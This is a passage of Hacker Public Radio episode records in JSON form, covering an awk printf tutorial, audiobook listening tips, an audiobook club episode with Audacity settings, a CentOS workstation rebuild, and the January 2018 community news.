                                                            \n%i, %d = to int. printf "%i", 3.4 prints 3
                                                            \n%f = to float. printf "%c", 65 prints 65.000000
                                                            \n%e, %E = to scientific notation. printf "%e", 65 prints 6.500000e+01. If you use %E will use a capital E instead of e.
                                                            \n%g = to either scientific notation or int. printf "%.2g", 65 prints 65, while printf "%.1g", 65 prints 6e+01
                                                            \n%s = to string. printf "%s", 65 prints 65
                                                            \n%u = to unsigned int. printf "%u", -6 prints 18446744073709551610

                                                            \n

                                                            There are others. See documentation.

                                                            \n

                                                            Formatting

                                                            \n

                                                            N$ = positional specifier. printf "%2$s %1$s", "second", "first"
                                                            \nn = spaces to the left of the string.
                                                            \n-n = spaces to the right of string.
                                                            \nspace = prefix positive numbers with a space, negative numbers with a -
                                                            \n+ = prefix all numbers with a sign (either + or -)
                                                            \n0n = leading 0's before input. printf "%03i", 65 prints 065.
                                                            \n' = comma place holder for thousands. printf "%'i", 6500 prints 6,500

                                                            \n

                                                            Below is an (crude) illustration of how I like to think when formatting output:

                                                            \n
                                                                      7          2\n├──────┼───────┼────┼──┤\n Color: RedXXXX Sum: X6
                                                            \n
                                                                   18            3\n├──────────────────╂───┤\n Total Sum:XXXXXXXX X34
                                                            \n

                                                            See the following awk file

                                                            \n
                                                            BEGIN {\n    FS=",";\n}\nNR != 1 {\n    a[$2]+=$3;\n    c+=$3;\n    d+=1;\n}\nEND {\n    for (b in a) {\n        printf "Color: %-7s Sum: %2i\\n", b, a[b];\n    }\n    print "----------------------"\n    printf "%-18s %3i\\n", "Total Sum:", c;\n    printf "%-18s %3i\\n", "Total Count:", d;\n    printf "%-18s %3.1f\\n", "Mean:", c / d;\n}
                                                            \n

                                                            This gives the following output:

                                                            \n
                                                            Color: brown   Sum: 13\nColor: purple  Sum: 12\nColor: red     Sum:  7\nColor: yellow  Sum: 11\nColor: green   Sum:  8\n----------------------\nTotal Sum:          51\nTotal Count:         9\nMean:              5.7
                                                            \n

                                                            Resources

                                                            \n
                                                              \n
                                                            1. https://www.gnu.org/software/gawk/manual/gawk.html#Printf
                                                            2. \n
                                                            3. https://www.grymoire.com/Unix/Awk.html
                                                            4. \n
                                                            5. https://datascienceatthecommandline.com/
                                                            6. \n
                                                            \n","hostid":300,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"awk,bash,Linux,command line","version":0,"downloads":0,"valid":1}, {"id":2477,"date":"2018-01-30","title":"Reading Audio Books While Distracted","duration":610,"summary":"My attempt to solve the problem of listening to audio books when you can't fully concentrate. ","notes":"

                                                            Just a quick and dirty episode on my attempt to solve the problem of listening to audio books at work or anytime you can't fully concentrate on the important thing, the audio book, of course.

                                                            \n

                                                            Problem

                                                            \n

                                                            I have more time to listen to books than to read them. I have no issues listening to audio books on my commute or when taking walks. The problem occurs at work. I have about 4 hours a day I could be listening to audio books. Over the years I've tried countless times, all with the same result. I get distracted by work and find I've missed key parts of the story and end up listening to music or podcasts I don't mind missing instead.

                                                            \n

                                                            There's nothing wrong with music or podcasts I don't mind missing but that doesn't help with my growing list of books I want to 'read'.

                                                            \n

                                                            I decided to treat this like a regular problem and break it down to see if I can find a solution to this problem.

                                                            \n

                                                            Here are the variable I have to play with. These might be different for you.

                                                            \n
                                                              \n
                                                            • Book in one file or broken into chapters
                                                            • \n
                                                            • Listening speed
                                                            • \n
                                                            \n

                                                            Design goals

                                                            \n

                                                            Be able to listen to an audio book and have reasonable comprehension. Super Simple. I can't be seen as messing around with my player more than whatever it is that's keeping me from my player :)

                                                            \n

                                                            Normally I listen to books in one large file because at one point in time it was easier for me to keep track of them in my player and bookmarking was easier for my little brain to handle. But I got to thinking this might solve the problem of wasted time when needing to repeat sections of the book. If the book were broken into pieces, I wouldn't need to repeat as often. I tried listening to 3 chapters at a time and had two issues. The first is that 3 chapters is still quite a bit of time and I was repeating sections I didn't need to repeat. For example, I might have been able to follow along with chapter 1 but not chapters 2 and 3. This meant repeating chapter 1 or messing around to manually skip chapter 1 when I repeat. Not good.

                                                            \n

                                                            The second issue I had when listening to 3 chapter chunks was spoilers. If I got distracted during chapter 1 but not chapter 3, chapter 3 would contain spoilers for chapter 1 and chapter 1 would be spoiled on the re-listen :)

                                                            \n

                                                            Solution

                                                            \n

                                                            As it turns out listening in 1 chapter chunks solved both of these issues. So now I play one chapter on a loop until I feel I comprehend it well enough and then move to the next. This reduces the time when I need to re-listen because I was distracted and is simple because I only need to mess with the player when I'm ready to move to the next chapter.

                                                            \n

                                                            It also reduces the spoiler issue. While there are still spoilers, they are limited to spoiling the same chapter. A good enough compromise for me.

                                                            \n

                                                            As far as playback speed goes, I like to speed audio up when I can concentrate on the audio but prefer to listen at normal speed when I can't.

                                                            \n

                                                            Other considerations

                                                            \n

                                                            Some content might lend itself more to being broken into chunks by time rather than chapters. After all, not all chapters are the same length and podcasts don't usually have chapters. Assuming I decide to stick with this approach, I'll probably try running podcasts which require one to pay attention through a script that splits them up into chunks based on duration and treat those chunks as chapters in books.

                                                            \n

                                                            If you try this and find it useful and/or have modifications, by all means, share.

                                                            \n

                                                            Also, if this is a well known technique, feel free to make fun of me. It'll be fun listening to the comments being read on the community news show.

                                                            \n","hostid":151,"series":0,"explicit":0,"license":"CC-0","tags":"Audio book, reading","version":0,"downloads":0,"valid":1}, {"id":2478,"date":"2018-01-31","title":"City Of Masks - HPR_AudioBookClub","duration":5187,"summary":"The HPR Audiobook Club reviews City Of Masks with author Mike Reeves-McMillan","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub discusses City Of Masks by Mike Reeves-Mc-Millian

                                                            \n

                                                            It's available from Scribl https://scribl.com/books/PC439/city-of-masks/

                                                            \n

                                                            It is also available as a paperback or an ebook. https://www.amazon.com/City-Of-Masks-Mike-Reeves-Mcmillan/dp/0473122138

                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n

                                                            Pokey loved this AudioBook! It's one of his all time favorites. It ranks up there with Lester Del Ray's Badge of Infamy

                                                            \n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n\n

                                                            Things We Talked About

                                                            \n

                                                            https://gplus.to/mikerm will link to everything else. It's also where I hang out the most. I post samples of whatever I'm working on at the moment on G+ most Saturdays, as part of the #saturdayscenes group.\n
                                                            \nhttps://csidemedia.com/gryphonclerks is my blog. There's a signup link for the mailing list in the sidebar, or the direct link is: \n
                                                            \nhttps://eepurl.com/vB-t5\n
                                                            \nThere's some member-only content for mailing list members, and I'm planning to release another piece of content for them soon (a 12,000-word novelette in my Gryphon Clerks setting).

                                                            \n

                                                            Mike's G+ Page: https://gplus.to/mikerm

                                                            \n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            Matcher Rules by Mary Holland

                                                            \n

                                                            NEXT RECORDING

                                                            \n

                                                            Our next book club recording will be 2015/02/10T23:00:00+00:00. https://en.wikipedia.org/wiki/ISO_8601#Times. If you'd like a Google calendar invite, or if you'd like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list 'hpr at hackerpublicradio dot org'

                                                            \n

                                                            FURTHER RECOMMENDATIONS

                                                            \n

                                                            Other mostly unrelated points

                                                            \n

                                                            Port knocking: https://www.portknocking.org/

                                                            \n

                                                            Cask of Amontillado https://en.wikipedia.org/wiki/The_Cask_of_Amontillado

                                                            \n

                                                            NetSplits https://en.wikipedia.org/wiki/Netsplit

                                                            \n

                                                            Valerian Root https://www.subzin.com/quotes/M145312bbc/Fight+Club/Chew+some+Valerian+root+and+get+more+exercise

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.\n
                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,\n
                                                            The HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            OUR AUDIO

                                                            \n

                                                            This episode was processed using Audacity https://audacity.sourceforge.net/. We've been making small adjustments to our audio mix each month in order to get the best possible sound. It's been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don't have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                              \n
                                                            • Threshold: -30db
                                                            • \n
                                                            • Noise Floor: -50db
                                                            • \n
                                                            • Ratio: 3:1
                                                            • \n
                                                            • Attack Time: 0.2sec
                                                            • \n
                                                            • Decay Time: 1.0 sec
                                                            • \n
                                                            • \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.
                                                            • \n
                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata. We use the \"Truncate Silence\" effect with its default settings to minimize the silence between people speaking. When used with its default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"Audiobooks, City of Masks, Mike Reeves-McMillan","version":0,"downloads":0,"valid":1}, {"id":2479,"date":"2018-02-01","title":"Intergraph workstation","duration":1725,"summary":"My rebuild of my Intergraph workstation","notes":"

                                                            Been going through my old work servers.

                                                            \n

                                                            They typically run until I can't update them anymore and then sit not used until I have a bit of free time. So I have an old intergraph box in it that I new pentium 4 motherboard from about 8 years back. I had the receipt taped to the inside of the box. And the Expense statement from work. I had centos 6.0 on it try as it must It got no more updates and repros. It also has a weak PSU as I had to remove the DVD and graphics card to get to work.

                                                            \n

                                                            About intergraph:

                                                            \n
                                                            \n

                                                            Intergraph Corporation is an American software development and services company. It provides enterprise engineering and geospatially powered software to businesses, governments, and organizations around the world. Intergraph operates through three divisions: Hexagon PPM, Hexagon Safety & Infrastructure, and Hexagon Geospatial. The company's headquarters is in Huntsville, Alabama, USA. In 2008, Intergraph was one of the 100 largest software companies in the world. In 2010, Intergraph was acquired by Hexagon AB. Intergraph was founded in 1969 as M&S Computing, Inc., by former IBM engineers who had been working with NASA and the U.S. Army in developing systems that would apply digital computing to real-time missile guidance. The company was later renamed to Intergraph Corporation in 1980. In 2000, Intergraph exited the hardware business and became purely a software company. On July 21, 2000, it sold its Intense3D graphics accelerator division to 3Dlabs, and its workstation and server division to Silicon Graphics. The companies incorporated SmartSketch, a drawing program used previously for the PenPoint OS and EO tablet computer. When Pen computing did not take off, SmartSketch was ported to the Windows and Macintosh platforms. https://www.cnet.com/news/intergraph-delivers-cheap-workstations/

                                                            \n
                                                            \n

                                                            The new TD-300 and TD-400 "Personal Workstations" offer 3D graphics capabilities equal to or below the prices of PCs configured as 3D workstations, the company said. The TD-300 and TD-400 Personal Workstations are available immediately, with prices starting at $5,495. https://www.intergraph.com/about_us/history_90s.aspx

                                                            \n

                                                            So the box now has a Pentium 4 dual core in it which is 64 bit. This chip is 2004-2007. https://en.wikipedia.org/wiki/Pentium_4

                                                            \n

                                                            So I have the ubuntu 32 bit work. And Suse Enterprise 12, tumbleweed and leap on hyperV. I had my Transmeta box on Debian I386 32 bit. So I need a redhat flavor. Since its 64 bit I picked CentOS. https://www.centos.org/

                                                            \n

                                                            What is CentOS?

                                                            \n
                                                            \n

                                                            CentOS (/ˈsɛntɒs/, from Community Enterprise Operating System) is a Linux distribution that attempts to provide a free, enterprise-class, community-supported computing platform functionally compatible with its upstream source, Red Hat Enterprise Linux (RHEL). In January 2014, CentOS announced the official joining with Red Hat while staying independent from RHEL, under a new CentOS governing board. In July 2010, CentOS overtook Debian to become the most popular Linux distribution for web servers, with almost 30% of all Linux web servers using it. Debian retook the lead in January 2012.

                                                            \n

                                                            In January 2014, Red Hat announced that it would sponsor the CentOS project, "helping to establish a platform well-suited to the needs of open source developers that integrate technologies in and around the operating system". As a result of these changes, ownership of CentOS trademarks was transferred to Red Hat, which now employs most of the CentOS head developers; however, they work as part of Red Hat's Open Source and Standards team, which operates separately from the Red Hat Enterprise Linux team. A new CentOS governing board was also established.

                                                            \n

                                                            CentOS developers use Red Hat's source code to create a final product very similar to RHEL. Red Hat's branding and logos are changed because Red Hat does not allow them to be redistributed. CentOS is available free of charge. Technical support is primarily provided by the community via official mailing lists, web forums, and chat rooms. CentOS version numbers for releases older than 7.0 have two parts, a major version and a minor version, which correspond to the major version and update set of Red Hat Enterprise Linux (RHEL) used to build a particular CentOS release. For example, CentOS 6.5 is built from the source packages of RHEL 6 update 5 (also known as RHEL version 6.5), which is a so-called "point release" of RHEL 6.

                                                            \n

                                                            Starting with version 7.0, CentOS version numbers also include a third part that indicates the monthstamp of the source code the release is based on. For example, version number 7.0-1406 still maps this CentOS release to the zeroth update set of RHEL 7, while "1406" indicates that the source code this release is based on dates from June 2014. Using the monthstamp allows installation images to be reissued for (as of July 2014) oncoming container and cloud releases, while maintaining a connection to the related base release version.

                                                            \n

                                                            Since mid-2006 and starting with RHEL version 4.4, which is formally known as Red Hat Enterprise Linux 4.0 update 4, Red Hat has adopted a version-naming convention identical to that used by CentOS (for example, RHEL 4.5 or RHEL 6.5). AltArch releases are released by the Alternative Architecture Special Interest Group (AltArch SIG) to supporThere are three primary CentOS repositories (also known as channels), containing software packages that make up the main CentOS distribution: base - contains packages that form CentOS point releases, and gets updated when the actual point release is formally made available in form of ISO images. updates - contains packages that serve as security, bugfix or enhancement updates, issued between the regular update sets for point releases. Bugfix and enhancement updates released this way are only those unsuitable to be released through the CentOS-Fasttrack repository described below. addons - provides packages required for building the packages that make up the main CentOS distribution, but are not provided by the upstream. The CentOS project provides several additional repositories that contain software packages not provided by the default base and updates repositories. Those repositories include the following: CentOS Extras - contains packages that provide additional functionality to CentOS without breaking its upstream compatibility or updating the base components. CentOSPlus - contains packages that actually upgrade certain base CentOS components, changing CentOS so that it is not exactly like the upstream provider's content. CentOS-Testing - serves as a proving ground for packages on their way to CentOSPlus and CentOS Extras. Offered packages may or may not replace core CentOS packages, and are not guaranteed to work properly. CentOS-Fasttrack - contains bugfix and enhancement updates issued from time to time, between the regular update sets for point releases. The packages released this way serve as close candidates for the inclusion into the next point release. This repository does not provide security updates, and does not contain packages unsuitable for uncertain inclusion into point releases. CR (Continuous Release) - makes generally available packages that will appear in the next point release of CentOS. The packages are made available on a testing and hotfix basis, until the actual point release is formally released in form of ISO images. debuginfo - contains packages with debugging symbols generated when the primary packages were built contrib - contains packages contributed by CentOS users that do not overlap with any of the core distribution packages Software Collections - provides versions of software newer than those provided by the base distribution, see above for more details

                                                            \n
                                                            \n\n

                                                            The end of support on my box is currently 2024. During my setup I let the centos do something with LVM the drive had two WD 320GB disks. One was very hot so I moved it so it have some more air.

                                                            \n

                                                            LVM:

                                                            \n
                                                            \n

                                                            In Linux, Logical Volume Manager (LVM) is a device mapper target that provides logical volume management for the Linux kernel. Most modern Linux distributions are LVM-aware to the point of being able to have their root file systems on a logical volume.

                                                            \n

                                                            Heinz Mauelshagen wrote the original LVM code in 1998, taking its primary design guidelines from the HP-UX's volume manager. LVM is used for the following purposes: Creating single logical volumes of multiple physical volumes or entire hard disks (somewhat similar to RAID 0, but more similar to JBOD), allowing for dynamic volume resizing. Managing large hard disk farms by allowing disks to be added and replaced without downtime or service disruption, in combination with hot swapping. On small systems (like a desktop), instead of having to estimate at installation time how big a partition might need to be, LVM allows filesystems to be easily resized as needed. Performing consistent backups by taking snapshots of the logical volumes. LVM can be considered as a thin layer of continuity and ease-of-use for managing hard drive replacement, repartitioning and backup. software layer on top of the hard disks and partitions, which creates an abstraction Basic functionality Volume groups (VGs) can be resized online by absorbing new physical volumes (PVs) or ejecting existing ones. Logical volumes (LVs) can be resized online by concatenating extents onto them or truncating extents from them. LVs can be moved between PVs. Creation of read-only snapshots of logical volumes (LVM1), or read-write snapshots (LVM2). VGs can be split or merged in situ as long as no LVs span the split. This can be useful when migrating whole LVs to or from offline storage. LVM objects can be tagged for administrative convenience. VGs and LVs can be made active as the underlying devices become available through use of the lvmetad daemon.

                                                            \n
                                                            \n

                                                            Setup with CentOS is not as simple as linux mint or ubuntu and very different than debian. You have to click and know a little about what you doing. For me with the basic 500GB install disk I got only a bare server with ssh. The machine was having power issues and would not boot from a usb stick so I had to go through 4 different DVD drives until I found one that worked with the DVD-R format. I had to use another deskop and power the DVD threw the other desk up connecting only the sata port the IDE drive was not working well either on this old board.

                                                            \n

                                                            I had to remove the old centos 6 from the drives using Gparted. There were errors with the gparted but the centos installer worked great after I removed ext4 part of the lvms.

                                                            \n

                                                            GParted is a free partition editor for graphically managing your disk partitions.

                                                            \n

                                                            With GParted you can resize, copy, and move partitions without data loss,

                                                            \n

                                                            Getting the mirrors working and getting it to work through a fire wall was pretty hard I had to make two config changes to the yum.conf one with the proxy address and the other to allow http cache. I also used export_proxy= to get it work globally. I had really trouble finding a fast mirror but I did not give up hope after a while it found fast mirrors that I got over 2MB per second from.

                                                            \n

                                                            So I installed Gnome and made boot up at startup I will install x2go or vncserver on it also just in case I need it.

                                                            \n

                                                            After some time of playing with it I was able to get it to fully update.

                                                            \n

                                                            I then moved to the server room, got the IP address and connected it it from putty. I think the advantage of this box is that I will always have a Redhat 7 install ready to demo or learn something without having to setup a lot of things.

                                                            \n

                                                            Links

                                                            \n\n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Intergraph Corporation, Pentium 4, CentOS, Logical Volume Manager","version":0,"downloads":0,"valid":1}, {"id":2480,"date":"2018-02-02","title":"What's In My Podcatcher 1","duration":1067,"summary":"A current report, with descriptions, of the podcasts I enjoy","notes":"

                                                            I listen to many podcasts as my primary form of audio entertainment, and because Hacker Public Radio listeners also tend to be podcast listeners (pretty much by definition) I am sharing my finds with the community. Besides, Ken made me do it.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"Podcasts","version":0,"downloads":0,"valid":1}, {"id":2481,"date":"2018-02-05","title":"HPR Community News for January 2018","duration":4509,"summary":"HPR Volunteers talk about shows released and comments posted in January 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Joey Hess.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2456Mon2018-01-01HPR Community News for December 2017HPR Volunteers
                                                            2457Tue2018-01-02Getting ready for my new Macbook Proknightwise
                                                            2458Wed2018-01-03Chrome Plugins You Must Haveoperat0r
                                                            2459Thu2018-01-04free software's long tailJoey Hess
                                                            2460Fri2018-01-05The Alien Brothers Podcast - S01E03 - Decline of American EmpireThe Alien Brothers Podcast (ABP)
                                                            2461Mon2018-01-08Gitoliteklaatu
                                                            2462Tue2018-01-09AudioBookClub-14-Triplanetary-(First-in-the-Lensman-Series)HPR_AudioBookClub
                                                            2463Wed2018-01-10Setting up a 32 Bit Ubuntu ServerJWP
                                                            2464Thu2018-01-11The Alien Brothers Podcast - S01E04 - Digital InstrumentsThe Alien Brothers Podcast (ABP)
                                                            2465Fri2018-01-12TronScript where have you been all my life!operat0r
                                                            2466Mon2018-01-15ShareX is awesomeXoke
                                                            2467Tue2018-01-16I randomly talk about my laptopsswift110
                                                            2468Wed2018-01-17THE WELLoperat0r
                                                            2469Thu2018-01-18A flight itinerary in BashDave Morriss
                                                            2470Fri2018-01-19Obamacare Update At The End Of 2017Ahuka
                                                            2471Mon2018-01-22Tea Time!operat0r
                                                            2472Tue2018-01-23Forum Failurelostnbronx
                                                            2473Wed2018-01-24Frotz - A Portable Z-Machine InterpreterClaudio Miranda
                                                            2474Thu2018-01-25Open Source Gaming #3 The Atari JaguarTheDUDE
                                                            2475Fri2018-01-26Information Underground -- Sex, Drugs, and Rock-n-Rolllostnbronx
                                                            2476Mon2018-01-29Gnu Awk - Part 9Mr. Young
                                                            2477Tue2018-01-30Reading Audio Books While Distracteddodddummy
                                                            2478Wed2018-01-31City Of Masks - HPR_AudioBookClubHPR_AudioBookClub
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 33 comments in total.

                                                            \n

                                                            There are 9 comments on\n6 previous shows:

                                                            \n
                                                            • hpr2399\n(2017-10-12) \"Using Super Glue to create Landmarks on Keyboards\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 7:\ndodddummy on 2018-01-01:\n\"One more use case and a generalization\"

                                                              \n
                                                            • hpr2422\n(2017-11-14) \"Kickstarter Post Mortem\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKlaatu on 2018-01-12:\n\"@busybusy\"

                                                              \n
                                                            • hpr2435\n(2017-12-01) \"Server Basics 102\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nFrank on 2018-01-02:\n\"SSH\"
                                                              • \n
                                                              • \nComment 3:\nKlaatu on 2018-01-08:\n\"Re: yum whatprovides?\"

                                                              \n
                                                            • hpr2449\n(2017-12-21) \"Org-mode mobile solution\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nfolky on 2018-01-10:\n\"Orgzly\"

                                                              \n
                                                            • hpr2454\n(2017-12-28) \"The Alien Brothers Podcast - S01E02 - Strictly Hacking\"\nby The Alien Brothers Podcast (ABP).
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nCasper on 2018-01-02:\n\"Delivery and Content\"

                                                              \n
                                                            • hpr2455\n(2017-12-29) \"Interface Zero RPG Part 5\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nClaudioM on 2018-01-03:\n\"Fantastic "Audio Drama" version of i0!\"
                                                              • \n
                                                              • \nComment 5:\nDraco Metallium on 2018-01-22:\n\"Great show!\"
                                                              • \n
                                                              • \nComment 6:\nRon P on 2018-01-23:\n\"Excellent! Encore!\"

                                                              \n
                                                            \n

                                                            There are 24 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr2456\n(2018-01-01) \"HPR Community News for December 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2018-01-01:\n\"Work load\"
                                                              • Comment 2:\nMike Ray on 2018-01-01:\n\"Soldering Iron\"
                                                              • Comment 3:\nDave Morriss on 2018-01-01:\n\"Soldering Iron\"
                                                              • Comment 4:\nMike Ray on 2018-01-01:\n\"Soldering\"
                                                              • Comment 5:\nFrank on 2018-01-01:\n\"U. S. College Course Numbering\"
                                                              • Comment 6:\nDave Morriss on 2018-01-03:\n\"Learning to solder at school\"

                                                              \n
                                                            • hpr2458\n(2018-01-03) \"Chrome Plugins You Must Have\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nXoke on 2018-01-04:\n\"You missed uMatrix\"

                                                              \n
                                                            • hpr2459\n(2018-01-04) \"free software's long tail\"\nby Joey Hess.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2018-01-04:\n\"My new favorite episode\"
                                                              • Comment 2:\nDave Morriss on 2018-01-04:\n\"Thanks for this Joey\"

                                                              \n
                                                            • hpr2460\n(2018-01-05) \"The Alien Brothers Podcast - S01E03 - Decline of American Empire\"\nby The Alien Brothers Podcast (ABP).
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian in Ohio on 2018-01-06:\n\"alien brothers podcast\"
                                                              • Comment 2:\nKen Fallon on 2018-01-08:\n\"HPR has no length restriction\"
                                                              • Comment 3:\nRutiger of the Alien Brothers Podcast on 2018-01-08:\n\"Hi Brian from Ohio\"
                                                              • Comment 4:\nKlaatu on 2018-01-11:\n\"Another brilliant episode.\"

                                                              \n
                                                            • hpr2461\n(2018-01-08) \"Gitolite\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njimzat on 2018-01-11:\n\"gitolite and HPR2446\"
                                                              • Comment 2:\nKlaatu on 2018-01-12:\n\"@jimzat\"

                                                              \n
                                                            • hpr2462\n(2018-01-09) \"AudioBookClub-14-Triplanetary-(First-in-the-Lensman-Series)\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2018-01-13:\n\"At long last!\"

                                                              \n
                                                            • hpr2466\n(2018-01-15) \"ShareX is awesome\"\nby Xoke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSundar on 2018-01-16:\n\"Useful tool for streamlining screencapture\"
                                                              • Comment 2:\nXoke on 2018-01-22:\n\"'jif'\"

                                                              \n
                                                            • hpr2470\n(2018-01-19) \"Obamacare Update At The End Of 2017\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2018-01-24:\n\"Thanks for the update!\"
                                                              • Comment 2:\ndodddummy on 2018-01-30:\n\"Time to update for the elimination of the individual mandate?\"
                                                              • Comment 3:\nAhuka on 2018-01-31:\n\"I did cover it\"

                                                              \n
                                                            • hpr2474\n(2018-01-25) \"Open Source Gaming #3 The Atari Jaguar\"\nby TheDUDE.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2018-01-23:\n\"They won't sell.\"

                                                              \n
                                                            • hpr2475\n(2018-01-26) \"Information Underground -- Sex, Drugs, and Rock-n-Roll\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFrank on 2018-01-26:\n\"This Show\"

                                                              \n
                                                            • hpr2477\n(2018-01-30) \"Reading Audio Books While Distracted\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2018-01-29:\n\"Correction\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-January/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Reserving Shows

                                                            \n

                                                            Due to the recent spate of future show reservations a change of text is required. The proposed change is from:

                                                            \n
                                                            \n

                                                            All reservations need to be approved. In the case where you wish to reserve a particular slot but do not have the media recorded, you will need to get the reservation approved in advance by the HPR Mailing List.

                                                            \n
                                                            \n

                                                            To

                                                            \n
                                                            \n

                                                            All reservations need to be approved. Any host can reserve any slot one year in advance by recording their show and posting it on the desired day as normal. In exceptional circumstances it possible to make a reservation, but only if there was no way to have recorded the show in time, and with approval in advance by the HPR Mailing List.

                                                            \n
                                                            \n

                                                            This is intended only for exceptional circumstances such as a scheduled interview where we would like the audio to be released as soon after as possible, or to cover an important topical situation

                                                            \n

                                                            Upload Errors

                                                            \n

                                                            Some uploaders are reporting 403 permission denied. This is because one of the protection scripts is checking for strange activity. We narrowed this down to ' (quote) in file names, or | (pipes) in the show notes.

                                                            \n

                                                            New series

                                                            \n

                                                            Two new series have been added to the HPR system:

                                                            \n
                                                              \n
                                                            • Health and Healthcare (13 episodes)
                                                            • \n
                                                            • Sound Scapes (6 episodes)
                                                            • \n
                                                            \n

                                                            Comment form 'justification'

                                                            \n

                                                            The 'What does HPR mean to you?' field on the comment form is required when commenting on older shows. As an anti-spam measure this field needs to completed with text which is between 20 and 200 characters in length.

                                                            \n

                                                            Tags and Summaries

                                                            \n

